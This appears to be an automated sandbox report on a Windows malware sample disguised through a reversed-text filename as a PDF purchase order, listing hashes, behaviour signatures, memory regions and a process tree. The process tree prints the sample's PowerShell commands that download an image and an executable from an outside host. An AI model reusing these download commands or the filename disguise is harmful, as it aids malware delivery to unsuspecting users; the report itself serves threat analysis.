Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    30-07-2024 01:19

General

  • Target

    jdconstructnOrder‮fdp..exe

  • Size

    288KB

  • MD5

    7e900eb50f9dc1cb5c68ffea4b9e7bcc

  • SHA1

    4dcc14dc2b98fbc171308fb55b5b8551dd96ea96

  • SHA256

    8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3

  • SHA512

    a77aeffc4f80358940e40789a67f67df5adc1bde4790a400665a98871498b10c3206981d3f18efa1149c9ec246f0343d133dd77de4f5a1f5816506a204276b1a

  • SSDEEP

    3072:6q6+ouCpk2mpcWJ0r+QNTBfRuk1qXkXRA4XTZK:6ldk1cWQRNTBpd8t

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe
    "C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C0EF.tmp\C0F0.tmp\C0F1.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2488

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\C0EF.tmp\C0F0.tmp\C0F1.bat

    Filesize

    334B

    MD5

    9aaac0122442ca0ebb4d8bb795e86676

    SHA1

    594744d8e4d51273dd435c3fac5799bc5f180e8c

    SHA256

    6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373

    SHA512

    d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    1a584b347be98003da08bae1e0e9a2c8

    SHA1

    233f831a5c1fbbc67ee5b84dfd2f26644d94cb25

    SHA256

    d94062ddb6c8e257ca866fcb229fd7bc2b82e89244a2e05ab052f943a333b7e2

    SHA512

    07d7c92a2900c9b94109216a59cf4c5a1b2b2c791b30c88f4ade37b782c59f8fcf5d46b3ec22965aea5e12c4acf0e764d05ec312b332826130deaa0c8ef443c2

  • memory/1100-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

    Filesize

    9.6MB

  • memory/1100-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

    Filesize

    9.6MB

  • memory/1100-12-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

    Filesize

    9.6MB

  • memory/1100-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

    Filesize

    9.6MB

  • memory/1100-7-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

    Filesize

    2.9MB

  • memory/1100-8-0x0000000002780000-0x0000000002788000-memory.dmp

    Filesize

    32KB

  • memory/1100-13-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

    Filesize

    9.6MB

  • memory/1100-14-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

    Filesize

    9.6MB

  • memory/1100-6-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

    Filesize

    4KB

  • memory/2488-20-0x000000001B540000-0x000000001B822000-memory.dmp

    Filesize

    2.9MB

  • memory/2488-21-0x0000000001D80000-0x0000000001D88000-memory.dmp

    Filesize

    32KB